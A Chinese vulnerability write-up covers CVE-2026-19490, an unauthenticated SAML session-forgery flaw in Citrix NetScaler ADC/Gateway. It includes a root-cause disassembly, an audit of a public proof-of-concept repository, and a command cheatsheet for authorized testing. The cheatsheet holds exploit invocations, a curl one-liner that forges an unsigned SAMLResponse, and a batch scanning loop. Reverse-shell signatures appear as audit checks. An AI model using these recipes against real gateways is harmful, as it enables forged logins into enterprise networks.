CVE-2026-19490

admin 2026-09-04 04:34:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-19490是CitrixNetScalerADC/Gateway的未认证会话伪造漏洞,CVSS4.0评分9.3,根因是nsppe引擎中SAMLHTTP-Redirectbinding解析路径关闭strict校验且未签名断言门控将默认配置误判为允许。PoC工具代码干净,无恶意行为,可用于授权测试。建议受影响版本立即升级至14.1-73.32或13.1-63.21,并排查SAML配置。 综合评分: 85 文章分类: 漏洞分析,代码审计,渗透测试,红队,安全工具


CVE-2026-19490

网安之家-CyberHomestead

2026年9月3日 08:09 湖北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

Part’counter(counterh1CVE-2026-19490 研究报告:NetScaler ADC/Gateway SAML 认证绕过与 PoC 工具剖析

分析对象:https://github.com/TarPeg007/CVE-2026-19490(commit 快照,2026-09) 报告性质:漏洞原理 + 源码审计 + 命令配方 + 攻防落地 使用边界:仅用于授权测试(自有实验室、明确在授权范围内的目标)。报告不构成对范围外资产的使用许可。


ounter(counterh20. TL;DR

  • CVE-2026-19490 是 Citrix NetScaler ADC/Gateway 的未认证会话伪造漏洞(CVSS 4.0 9.3,CWE-288),官方公告 CTX696939 于 2026-08-19 发布,修复版本 14.1-73.32 / 13.1-63.21,无官方 workaround。
  • 根因是 nsppe 包引擎里两个缺陷叠加:SAML HTTP-Redirect binding 解析路径以 strict=0 调用解析器;未签名断言门控把配置字 2(rejectUnsignedAssertion ON,默认值)误判为”允许”。默认配置的设备会完整解析 GET 上携带的未签名 SAML 断言并签发会话,全程无摘要校验、无 RSA 验签。
  • 该仓库是根因复盘 + PoC:836 行单文件 Python,四个阶段(接口确认 → 绑定确认 → 链自举/利用 → 单请求取证),外加 Docker 实验室脚本、asciinema 录制/渲染工具。
  • 供应链排查结论:代码干净。 无反向连接、无命令执行、无非预期数据外发;唯一的外部请求是向 Azure 公开元数据端点做 fetch-only 校验。可以安全阅读和在其声明范围内使用。
  • 工具最值得学的三个设计:--safe-oracle 错误页差分无损读配置、--mint 借目标自身 AuthnRequest 链路自举全部 SAML 参数、删除标记 cookie(xyz)与真实会话 cookie 的区分逻辑。

ounter(counterh21. 工具是什么:名字、出身、为何而诞生

仓库命名就是 CVE 编号本身(TarPeg007/CVE-2026-19490)。这种命名方式的语义很直接:一个 CVE 对应一个验证工具,不做通用武器平台,不夹带其他功能。作者 ID TarPeg007 没有给出官方解释,不做过度解读;从仓库形态看——0 star、1 fork、单 commit、MIT 协议、无 release——这是典型的”研究者一次性复盘发布”,不是持续维护的项目。

它为何存在:Citrix 自 2023 年 CitrixBleed 事件后改变了公告策略——安全公告只给结论(版本、CVSS、缓解),不给根因细节。CTX696939 也延续了这一风格:”认证绕过,升级即可,无 workaround”,一行原理都不提。对蓝队来说,不知道根因就没法自查配置、没法写精准检测;对红队来说,不知道根因就没法评估真实可达性。这个仓库填补的就是”公告 → 可验证的根因”这一段:作者对修复前的镜像二进制 nsppe-14.1-73.30 做了反汇编,定位到两处关键指令,配了 objdump 可复现的证据链(offset + 镜像 tag + docker cp 命令),再写了完整 PoC 和实验室复现路径。

它属于渗透测试的哪个环节:认证绕过类工具,落在 kill chain 的 Initial Access。与钓鱼、凭据爆破不同,它不偷凭据——直接伪造一个”IdP 已经认证过”的断言,让网关自己签发会话。对 NetScaler Gateway 这种设备,拿到会话等于拿到企业内网门户入口,所以它在实战里的位置是”边界即内网”的第一跳。

ounter(counterh22. CVE 背景核验(官方情报)

仓库声明与公开情报交叉验证结果:

| 项目 | 内容 | 核验 | | — | — | — | | 公告 | CTX696939,2026-08-19 | 与 Citrix 官方公告页、Rapid7 ETR 一致 | | 漏洞 | NetScaler ADC / NetScaler Gateway 认证绕过 | 与 NVD、SOC Prime 分析一致 | | CVSS 4.0 | 9.3 Critical,CWE-288 | 公告口径 | | 受影响 | 14.1 < 14.1-73.32;13.1 < 13.1-63.21 | 与 NVD 一致 | | 前置条件 | SAML action 绑定到 Gateway / AAA vserver(常规 SAML SSO 部署);14.1-43.56 / 13.1-61.28 起路由注册需要 SAML action,更早构建仅 vserver 即可 | 仓库作者对二进制的复核结论 | | 同公告 | CVE-2026-19489(SIP ALG 内存溢出,DoS) | 公告一并修复,与本工具无关 | | 原始报告署名 | Samarth Vashisht(JPMorgan Chase 渗透测试团队) | 仓库作者转述,见 Citrix 致谢惯例 |

顺带一提,同期还有一个相关的 SAML 缺陷 CVE-2026-8451(NetScaler 作为 SAML IdP 时的内存过读,CVSS 8.8),与本 CVE(NetScaler 作为 SP 的逻辑绕过)是两回事,资产梳理时不要混。

ounter(counterh23. 协议背景:理解漏洞前需要的三分钟 SAML

NetScaler Gateway 在这套部署里是 SP(服务提供方),企业 IdP(Azure AD/Entra、Okta、ADFS 等)做认证。浏览器完成登录后要把”认证结果”带回 SP,SAML 2.0 规定了两种带回方式(binding):

  • POST binding(浏览器实际使用的):IdP 渲染一个自动提交的 HTML 表单,把 base64 编码的 SAMLResponse 用 POST 打到 SP 的 ACS 端点(/cgi/samlauth)。XML 明文 base64,不压缩。
  • HTTP-Redirect binding:把 SAMLResponse 放在 GET 的 query string 里传输。因为 URL 长度有限,规范要求先 raw-DEFLATE 压缩再 base64。这个 binding 设计的本意是传 AuthnRequest(SP→IdP 方向),IdP→SP 方向的响应走 GET 在真实世界极其罕见——这正是后面检测规则的立足点。

一条标准断言里,SP 要验证的值包括:Issuer(IdP 实体 ID)、Audience(SP 实体 ID)、Recipient/Destination(ACS URL)、InResponseTo(SP 发出的 AuthnRequest ID)、时间窗(NotBefore/NotOnOrAfter),以及最核心的——<ds:Signature> 签名。

工具里 deflate_and_encode() 的实现值得注意:

compressed = zlib.compress(xml_str.encode("utf-8"))[2:-4]

zlib.compress 输出 = 2 字节 zlib 头 + deflate 数据 + 4 字节 Adler-32 尾。切片 [2:-4] 剥掉头尾,得到 raw DEFLATE,与 Redirect binding 规范一致。这是很多自己写 SAML payload 的人踩过的坑(直接 zlib.compress 会让 NetScaler 解压失败,报成 Malformed)。

ounter(counterh24. 漏洞原理逐层剖析

4.1 缺陷一:Redirect binding 解析路径关闭了 strict

nsppe 是 NetScaler 在 FreeBSD 上的用户态包引擎(NetScaler 架构的特点:数据面不进 BSD 内核网络栈,由 PE 进程直接处理)。SAML 响应解析函数(sub_b40a50)的所有调用点都会准备一个 strict 参数,POST binding 路径传 1,Redirect binding 路径传 0:

$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
&nbsp; b7f532: 41 b8 00 00 00 00 &nbsp; &nbsp; mov &nbsp; &nbsp;r8d,0x0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<-- strict OFF
&nbsp; b7f538: 48 8d 8d d8 fe ff ff &nbsp;lea &nbsp; &nbsp;rcx,[rbp-0x128]
&nbsp; b7f53f: 48 8b 95 b8 fe ff ff &nbsp;mov &nbsp; &nbsp;rdx,[rbp-0x148]
&nbsp; b7f546: 8b b5 cc fe ff ff &nbsp; &nbsp; mov &nbsp; &nbsp;esi,[rbp-0x134]
&nbsp; b7f54c: 48 8b 3d f5 9f 6f 02 &nbsp;mov &nbsp; &nbsp;rdi,[rip+0x26f9ff5]
&nbsp; b7f553: e8 f8 14 fc ff &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; b40a50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<-- 解析器

同一个请求面(ACS 端点),换一条绑定就换一套更弱的解析参数。这是 CWE-288(通过备用路径的认证绕过)的标准形态:不是把正门撬开,而是发现侧门没锁。

4.2 缺陷二:未签名门控把默认配置误读为”允许”

Redirect binding 处理函数里,当请求不带 SigAlg/Signature 时,代码读出 rejectUnsignedAssertion 的配置字做分支:

$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
&nbsp; b7ee3b: 83 78 08 02 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp;DWORD PTR [rax+0x8],0x2
&nbsp; b7ee3f: 74 5d &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; je &nbsp; &nbsp; b7ee9e &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<-- 跳到 ACCEPT 路径

配置字的取值语义(作者结合 CLI 与二进制行为确认):

  • 2 = rejectUnsignedAssertion ON(出厂默认,含义是”拒绝未签名断言”)
  • 3 = STRICT(更严格的签名要求)

问题就在这:cmp 2; je ACCEPT 把默认值 ON(2)直接送进了接受分支。只有设成 3(STRICT)才会走到拒绝路径——作者用 strings 找到了那条只在拒绝分支才可达的日志字符串作为佐证:

$ strings -t x nsppe-14.1-73.30 | grep&nbsp;'denying as per action'
&nbsp; 2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s

这是本漏洞最精妙也最反直觉的一点:管理员什么都没配错——保持着出厂默认”拒绝未签名断言”——但这个默认值恰好落在被误读的分支上。缺陷不是”没开防护”,而是”防护开关的语义在代码里被接反了”。

4.3 组合后的完整利用路径

在默认配置的设备上,一条 GET 请求:

GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>
  1. 请求命中 Redirect binding 处理函数,发现无签名参数;
  2. 未签名门控读配置字,默认值 2 被 je 送进 ACCEPT(缺陷二);
  3. 断言以 strict=0 进入解析器(缺陷一),全程无摘要校验、无 RSA 验签;
  4. 解析通过后走正常的后置校验:Issuer(错误码 0xe0012)、Audience(0xe0015)、ACS/Destination(0xe0018)、时间窗——注意这些校验依然在,所以攻击者必须填对目标 SAML action 的配置值(这正是 --mint 存在的原因);
  5. 全部通过后,网关用断言里攻击者任意指定的 NameID 构造 AAA 会话,302 到 /vpn/ 并种下 NSC_AAAC / NSC_TASS 会话 cookie。

成功判据(工具的实现逻辑):302 且 Location 含 /vpn/,且 cookie 里 NSC_AAAC/NSC_TASS 带真实值。NetScaler 清会话时会下发值为 xyz、过期时间 1999 年的同名删除标记 cookie——把删除标记误判成会话是这类工具最常见的误报来源,该 PoC 专门做了区分。

4.4 错误码 taxonomy(工具研判逻辑的骨架)

PoC 对 NetScaler SAML 错误页的分类,既是利用成功的调试指南,也是蓝队自查的对照表:

| 错误码 / 页面特征 | 含义 | 对研判的意义 | | — | — | — | | 0xe0005 Malformed Assertion | 早期门控命中(未签名+STRICT)、解析失败、断言重复标签等共用页面 | 在未签名载荷上出现 → 大概率 word==3(STRICT),非易感 | | 0xe0007 verification failed | 签名校验路径实际运行了 | 构建/flavor 差异,需人工研判 | | 0xe0012 issuer 校验错误 | 解析之后 才可能到达 | 在未签名载荷上出现 = 解析已放行 = word==2 易感配置实锤 | | 0xe0015 audience 错误 | 同上,解析后 | 同上 | | 0xe0018 ACS/Destination 错误 | 同上 | 同上 | | matching policy not found | SAML 策略匹配失败 | 同为解析后路径,可作易感佐证 | | 302 → /vpn/ + 真实 NSC_AAAC/NSC_TASS | 会话签发成功 | 完全利用成功 |

关键推理:0xe0012/0xe0015/0xe0018 只在解析后产生。所以”未签名的断言收到了 issuer/audience 错误”本身,就证明了目标在无验签的情况下解析了断言——这是 --safe-oracle 的全部理论基础。

4.5 操作系统调用层分析

两层视角分开看:

目标侧(nsppe,FreeBSD):这是纯应用层逻辑缺陷。SAML 的 DEFLATE 解压、XML 解析、会话构造都发生在 PE 用户态进程里,不涉及特权 syscall、不触碰内核。危害不来自内存破坏(同公告的 CVE-2026-19489 才是内存溢出类),而来自身份判定逻辑被旁路——进程以合法流程签发合法会话,日志层面表现为一次”成功”的 SAML 登录。这也解释了为什么检测困难:签名检查根本没有运行,所以不会有验签失败的告警。

工具侧(poc.py,攻击者的机器):

  • requests 底层是 socket.create_connection → connect/send/recv,HTTPS 走 OpenSSL;urllib3.disable_warnings 关闭自签证书告警(NetScaler 设备普遍自签)。
  • 编解码全部在用户态完成:zlib.compress/decompressobj(-15)(raw DEFLATE)、base64.b64decode(raw + "=" * (-len(raw) % 4))——补齐 base64 padding 的写法 -len(raw) % 4 是个值得记住的习惯写法。
  • tools/rec.py 是独立的系统调用教学样本:用 pty.openpty() 创建伪终端,fcntl.ioctl(TIOCSWINSZ) 设置窗口尺寸,os.setsid + preexec_fn 建立会话,select.select 做非阻塞读,把输出按时间戳写成 asciinema v2 格式。在无 tty 的 CI 环境录制终端演示,这 53 行是完整可抄的范式。

ounter(counterh25. 源码逐文件审计

5.1 仓库结构

CVE-2026-19490-main/
├── poc.py &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 核心 PoC,836 行,零第三方依赖除 requests/urllib3
├── README.md &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 根因复盘(含 objdump 证据)、用法、实验室、检测缓解
├── LICENSE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# MIT, (c) 2026 TarPeg007
├── .gitignore &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 忽略提取的 nsppe 二进制、实验室证书、渲染帧
├── lab/
│ &nbsp; ├── setup-cpx.sh &nbsp; &nbsp;# Docker 拉起 CPX 14.1-73.30 + SAML action 配置
│ &nbsp; └── record-demo.sh &nbsp;# 有许可 VPX 时的完整演示录制(含 STRICT 负对照)
├── demo/
│ &nbsp; ├── run-demo.sh &nbsp; &nbsp;&nbsp;# 无许可环境下可跑的演示(版本/配置/反汇编/接口检查)
│ &nbsp; └── demo.cast/gif/mp4
└── tools/
&nbsp; &nbsp; ├── rec.py &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# pty 录制 → asciinema v2
&nbsp; &nbsp; └── render.py &nbsp; &nbsp; &nbsp;&nbsp;# cast → pyte 终端仿真 → PIL 帧 → ffmpeg mp4/gif

5.2 poc.py:架构与细节

单文件状态机,main() 里的阶段顺序即渗透节奏:

Phase 1 &nbsp;check_saml_endpoint &nbsp; &nbsp; &nbsp;GET /cgi/samlauth 裸探,404 即止
Phase 2 &nbsp;check_redirect_binding &nbsp; 极小 SAMLResponse 探 binding 是否激活(--check-only 到此为止)
Phase 2.5 mint_sp_chain &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 自举目标 SP 链(--safe-oracle / --mint)
Phase 3 &nbsp;exploit_redirect_bypass &nbsp;构造未签名断言,GET 发射,按 taxonomy 归类结果
Phase 4 &nbsp;validate_bypass &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;仅一次 GET /vpn/index.html 取证,然后显式 STOP

逐个模块说值得学的细节:

build_unsigned_saml_response() — 模板化构造最小 SAML Response+Assertion,无 <ds:Signature>。两处规范级细节:

  • InResponseTo 在未捕获到 AuthnRequest ID 时整个属性省略而不是填假值。注释写明原因:假 ID 在严格配置上会挂后置校验,而省略属性 = IdP-initiated(unsolicited)Response,是 SAML 规范允许的合法形态。对协议的理解直接决定了绕过成功率。
  • 时间窗:NotBefore 回拨 5 分钟、NotOnOrAfter 前移 30 分钟,容纳时钟偏差。
  • 默认 [email protected] 的 NameID 提示了一个事实:断言里的 NameID 就是你要伪装的身份,若目标按 NameID 匹配本地用户,填真实存在的用户名(如 [email protected])才能映射到有效会话。

decode_saml_request() — 三格式兼容解码:raw DEFLATE(decompressobj(-15))→ zlib 包裹 → 明文 XML。处理了现实中 SP/IdP 实现的不规范性。

infer_idp_entity_id() — IdP 实体 ID 推断启发式:

  • Azure/Entra:从跳转 URL 提取 tenant GUID,拼 https://sts.windows.net/<tenant>/,并且主动请求该租户的公开 federation metadata 交叉验证entityID(fetch-only,不外发目标信息);
  • ADFS:按 http://<host>/adfs/services/trust 模式给出候选;
  • Okta:诚实地说”无法从 URL 推断”,提示去查 metadata,而不是瞎猜。这种”承认不知道”的分支设计在 PoC 里少见。

mint_sp_chain() — 整个工具的灵魂。要绕过 0xe0012/0xe0015/0xe0018 三道后置校验,必须拿到目标 SAML action 的真实 Issuer/Audience/ACS/InResponseTo。作者的办法是让目标自己交代:

  1. GET /vpn/index.html 拿响应而不丢弃——SAML-first 网关会直接 302 到 IdP,Location 里就带着 SAMLRequest(内含全部所需值)。注释里记录了踩坑:早期版本丢弃了这个响应,在 SAML-first 目标上全部假阴性。
  2. 回退:nFactor 流程时 POST /nf/auth/doAuthentication.do 提交哑凭据(login=cve-probe),从响应 <RedirectURL> 拿到 IdP 跳转;
  3. 从 Location query、二次跳转、自动提交表单三个位置抓 SAMLRequest,三格式解码;
  4. 正则提取 AuthnRequest 的 ID(→InResponseTo)、Issuer(SP entityID→Audience)、AssertionConsumerServiceURL(→Recipient/Destination),Destination 交给 IdP 推断。

不需要任何 IdP 侧知识,把目标自身的 SP 流程当作配置泄露源,这是”自举”思想的干净实现。

safe_oracle() — 非侵入配置判定。构造”真实 Audience/InResponseTo + 故意错误的 Issuer“的未签名断言:

  • word==3(STRICT):早期门控在解压/解析之前就拦截 → 0xe0005 页面 → 非易感;
  • word==2(默认):门控不拦,断言被完整解析,挂在后置 Issuer 校验 → 0xe0012 页面 → 易感配置实锤,且全程零会话签发

两个分支都到不了”建会话”那一步,这就是 “SAFE” 的含义。设计思想与 padding oracle 同源:利用可观测的错误差分读出服务端内部状态,但把触发条件选在必然失败的位置。工具还留了一个防御性分支:如果错误的 Issuer 都能换回会话 cookie,打印 [!!!] UNEXPECTED-SESSION 要求人工介入——说明作者考虑过”比已知根因更糟”的情况。

validate_bypass() — 成功后只发一次请求到 /vpn/index.html,命中页面特征(logout/clientdetection/resources)即取证停止,输出里硬编码 STOP: Do not proceed further。PoC 与武器的分界线就在这类设计上。

main() 的工程细节 — --safe-oracle 隐含 --mint(oracle 需要真实 Audience 才能走到 Issuer 分支);--header 用 action="append" 支持重复传参(挂 X-Research 署名头是赏金项目合规习惯);--proxy 直接透传 requests(接 Burp);每阶段之间 --rate-limit 休眠,默认 0.5s;退出码语义化:SAML 未配置 exit 1,check-only 完成 exit 0,可脚本化。

5.3 lab/ 与 tools/:实验室工程

lab/setup-cpx.sh 的价值在于精确复现”受影响状态”:quay.io 官方 CPX 镜像 14.1-73.30(修复版 73.32 的前一版),openssl req -x509 本地造临时证书,docker exec cli_script.sh 下发配置——关键是 -samlRejectUnsignedAssertion ON,即被误读的默认值。一个诚实的坑位说明:CPX Express 没有 SSLVPN/AAA 用户许可,/cgi/samlauth 会撞 480 Login exceeds maximum allowed users 的许可墙——能复现构建、配置、端点、二进制状态,唯独不能复现最后的会话签发,那需要免费 Developer License 的 VPX。README 把这个限制写得清清楚楚,没有假装”一键复现”。

lab/record-demo.sh 里最有价值的是负对照(negative control):先在 ON 下跑 safe-oracle 证明易感,set samlAction -samlRejectUnsignedAssertion STRICT 后再跑证明拦截,再改回 ON——一次录制同时给出正反两面的证据,这是漏洞研究里规范的做法。

二进制证据链:镜像内 docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30 提取,再用 README 中的固定偏移 objdump 复现两处关键指令。任何人用同一镜像能逐字节复核,这是 RE 报告可复现性的标准做法。

5.4 供应链安全排查(匿名 CVE 仓库的必修课)

匿名作者 + 单 commit 的”CVE PoC”仓库是安全研究员被投毒的高发载体,下载即运行是高危行为。本次审计做了全量静态排查:

| 排查项 | 结果 | | — | — | | 危险 API(subprocess/os.system/eval/exec/__import__/裸 socket) | poc.py 零命中;render.py 的 subprocess 仅用于本地 ffmpeg 渲染演示视频;rec.py 的 subprocess/pty 仅用于终端录制 | | 反弹 shell 特征(/dev/tcpbash -inc -e) | 无 | | 外部主机引用 | 仅:实验室占位域(.invalid/.example/test.local/127.0.0.1)、目标占位 vpn.target.com、Azure 公开元数据(login.microsoftonline.com/sts.windows.net,fetch-only 校验 IdP entityID,不发送任何目标数据)、Okta 实体 ID 文档地址(仅字符串) | | 编码混淆(base64 藏 payload、拼接 exec) | 无;base64/zlib 的使用全部对应 SAML binding 编解码,功能内聚 | | 凭据/敏感目录访问、持久化、计划任务 | 无 | | .gitignore 内容 | 仅忽略提取的二进制、临时证书、渲染帧——符合常规 |

结论:该仓库可作为可信的阅读与实验材料。当然,审计结论只对本次克隆的快照负责;若仓库后续更新,需重新过一遍同样的排查。

ounter(counterh26. Cheatsheet:命令配方

以下命令仅在授权目标上使用。工具原生依赖:pip install requests urllib3(README 写 requests,代码另需 urllib3,lxml 实际未用到)。

6.1 原生 --help(按 argparse 源码确定性重构,与运行输出一致)

usage: poc.py [-h] [--header HEADER] [--name-id NAME_ID] [--issuer ISSUER]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [--audience AUDIENCE] [--in-response-to IN_RESPONSE_TO] [--mint]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [--safe-oracle] [--check-only] [--timeout TIMEOUT]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [--rate-limit RATE_LIMIT] [--proxy PROXY]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; target

CVE-2026-19490 NetScaler Auth Bypass PoC

positional arguments:
&nbsp; target &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Target URL (https://vpn.target.com)

options:
&nbsp; -h, --help &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;show this help message and exit
&nbsp; --header HEADER &nbsp; &nbsp; &nbsp; Extra header (e.g. 'X-Research: handle'). Repeatable.
&nbsp; --name-id NAME_ID &nbsp; &nbsp; NameID to inject (default: [email protected])
&nbsp; --issuer ISSUER &nbsp; &nbsp; &nbsp; Custom SAML Issuer URL (if you know the target's IdP entity ID)
&nbsp; --audience AUDIENCE &nbsp; SAML Audience (SP entityID). Auto-derived with --mint.
&nbsp; --in-response-to IN_RESPONSE_TO
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InResponseTo (AuthnRequest ID) if captured out-of-band.
&nbsp; --mint &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Mint the SP's real SAML chain first (capture the AuthnRequest
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; via /nf/auth/doAuthentication.do) to get the correct Audience,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InResponseTo and IdP issuer. REQUIRED for word==2 targets.
&nbsp; --safe-oracle &nbsp; &nbsp; &nbsp; &nbsp; NON-INTRUSIVE mode: unsigned + deliberately WRONG issuer ->
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; the error page reveals the rejectUnsignedAssertion config
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WITHOUT any session risk. Always use this FIRST on third-party
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; targets. Implies --mint.
&nbsp; --check-only &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Only check if SAML redirect binding is active, don't exploit
&nbsp; --timeout TIMEOUT &nbsp; &nbsp; Request timeout in seconds (default: 15)
&nbsp; --rate-limit RATE_LIMIT
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Delay between requests in seconds (default: 0.5)
&nbsp; --proxy PROXY &nbsp; &nbsp; &nbsp; &nbsp; HTTP proxy (e.g. http://127.0.0.1:8080 for Burp)

Authorized testing only. Lab or in-scope targets.

6.2 参数即功能模块

把每个参数当成一个可插拔模块来理解,配方就是模块的组合:

| 模块 | 参数 | 角色 | | — | — | — | | 基座 | target | 位置参数,自动补 https:// 前缀 | | 侦察 | --check-only | 端点存在性 + binding 激活判定,零风险,到此即止 | | 定性 | --safe-oracle | 错误页差分读配置字,零会话(隐含 --mint) | | 自举 | --mint | 借目标 AuthnRequest 链自动取齐 Issuer/Audience/ACS/InResponseTo | | 手工注入 | --issuer``--audience``--in-response-to | 已知情报时覆盖自举结果;--mint 未捕获的值也从这里补 | | 载荷身份 | --name-id | 伪装的 NameID,建议填目标域内真实存在的账号 | | 合规层 | --header "X-Research: <handle>" | 可重复;赏金/演练署名与白名单通道 | | 观测层 | --proxy http://127.0.0.1:8080 | 全流量进 Burp,人工审每个请求 | | 节流层 | --timeout N``--rate-limit F | 超时与请求间隔,稳定性和隐蔽性旋钮 |

6.3 配方库:按作战阶段排列

配方 1|存在性侦察(第一阶段,默认起手)

python3 poc.py https://vpn.authorized-target.com --check-only

判定:输出 Redirect binding: active → 继续;404 / SAML not configured → 撤。

配方 2|无损定性(第二阶段,第三方目标必用)

python3 poc.py https://vpn.authorized-target.com --safe-oracle \
&nbsp; 2>&1 | tee&nbsp;"oracle_$(date +%Y%m%d_%H%M%S).log"

看 verdict:VULNERABLE-CONFIG (word==2, no session) = 易感配置实锤、零会话风险;not-vulnerable = STRICT,此路不通。tee 留档用于报告。

配方 3|完整链验证(第三阶段,需项目授权条款允许建会话)

python3 poc.py https://vpn.authorized-target.com --mint \
&nbsp; --name-id [email protected] \
&nbsp; --header&nbsp;"X-Research: your-team-handle"&nbsp;\
&nbsp; --proxy http://127.0.0.1:8080 --rate-limit 1

成功标志:302 → /vpn/ + 真实 NSC_AAAC/NSC_TASS。Phase 4 自动做单请求取证并停止——不要越过这个边界

配方 4|手工注入(自举部分失败时打补丁)

python3 poc.py https://vpn.authorized-target.com --mint \
&nbsp; --issuer&nbsp;"https://sts.windows.net/<tenant-guid>/"&nbsp;\
&nbsp; --audience&nbsp;"https://vpn.authorized-target.com"&nbsp;\
&nbsp; --in-response-to&nbsp;"_<authn-request-id-from-burp>"

参数优先级:--audience/--in-response-to 显式值 > mint 捕获值;--issuer 只在 mint 未推出 IdP entityID 时生效(chain.get("idp_issuer") or args.issuer)。

配方 5|SP metadata 兜底(mint 失败的情报来源)

curl -sk&nbsp;"https://vpn.authorized-target.com/metadata/saml20/sp"&nbsp;| xmllint --format - \
&nbsp; | grep -E&nbsp;"entityID|Location|NameIDFormat"

从 SP 元数据直接读 entityID(Audience)与 ACS Location,喂给配方 4。

配方 6|动态注入:python 一行生成 SAMLResponse,curl 手工重放

需要精确控制 XML 或绕开工具流程时,把编码逻辑单独拎出来:

XML='<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"><saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://idp.example.com/saml</saml:Issuer></samlp:Response>'
ENC=$(printf&nbsp;'%s'&nbsp;"$XML"&nbsp;| python3 -c&nbsp;"import sys,zlib,base64;d=zlib.compress(sys.stdin.buffer.read());print(base64.b64encode(d[2:-4]).decode())")
curl -sk -D - -o /dev/null \
&nbsp;&nbsp;"https://vpn.authorized-target.com/cgi/samlauth?SAMLResponse=${ENC}&RelayState=%2Fvpn%2Findex.html"&nbsp;\
&nbsp; | grep -iE&nbsp;"^(HTTP|Location|Set-Cookie)"

注意 zlib.compress(...)[2:-4] 的 raw-DEFLATE 切片必须保留,直接 zlib 全量编码会被 NetScaler 拒收。

6.4 脚本化:把工具嵌进自动化流程

配方 7|退出码驱动的三段流水线(授权清单逐台过)

利用 exit 语义(check-only 通过=0,SAML 未配置=1):

#!/usr/bin/env bash
# 仅限授权范围清单 inscope.txt,每行一个 https://host
while&nbsp;read&nbsp;-r t;&nbsp;do
&nbsp; [ -z&nbsp;"$t"&nbsp;] &&&nbsp;continue
&nbsp; tag=$(printf&nbsp;'%s'&nbsp;"$t"&nbsp;| md5sum | cut -c1-8)
&nbsp;&nbsp;if&nbsp;python3 poc.py&nbsp;"$t"&nbsp;--check-only >/dev/null 2>&1;&nbsp;then
&nbsp; &nbsp; verdict=$(python3 poc.py&nbsp;"$t"&nbsp;--safe-oracle 2>&1 | tee&nbsp;"so_${tag}.log"&nbsp;\
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | grep -oE&nbsp;"Safe-oracle verdict: .*")
&nbsp; &nbsp;&nbsp;printf&nbsp;'%-45s %s\n'&nbsp;"$t"&nbsp;"${verdict:-parse-fail}"
&nbsp;&nbsp;else
&nbsp; &nbsp;&nbsp;printf&nbsp;'%-45s no-saml-endpoint\n'&nbsp;"$t"
&nbsp;&nbsp;fi
&nbsp; sleep 3 &nbsp;&nbsp;# 横向节流,别把客户的网关打成告警源
done&nbsp;< inscope.txt

输出可直接粘进交付报告;so_*.log 留作附件证据。

配方 8|判定结果聚合(土法 JSON 化)

工具输出是人读的,批量场景用 grep 固化成机读行:

for&nbsp;log&nbsp;in&nbsp;so_*.log;&nbsp;do
&nbsp; key=$(echo&nbsp;"$log"&nbsp;| sed -E&nbsp;'s/so_([0-9a-f]{8})\.log/\1/')
&nbsp; cfg=$(grep -oE&nbsp;'\[\*\] Config: .*'&nbsp;"$log"&nbsp;| head -1 | cut -d' '&nbsp;-f3-)
&nbsp;&nbsp;echo&nbsp;"{\"asset\":\"$key\",\"config\":\"$cfg\"}"
done&nbsp;| tee summary.jsonl

配方 9|冷门但高频的配套命令语法

# 定点反汇编:只看那两行关键指令,-M intel 强制 Intel 语法
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe

# 带文件偏移的字符串搜索,-t x 输出十六进制偏移,便于对照反汇编地址空间
strings -t x nsppe | grep&nbsp;'denying as per action'

# docker 单行取容器 IP(Git Bash/Linux 通用)
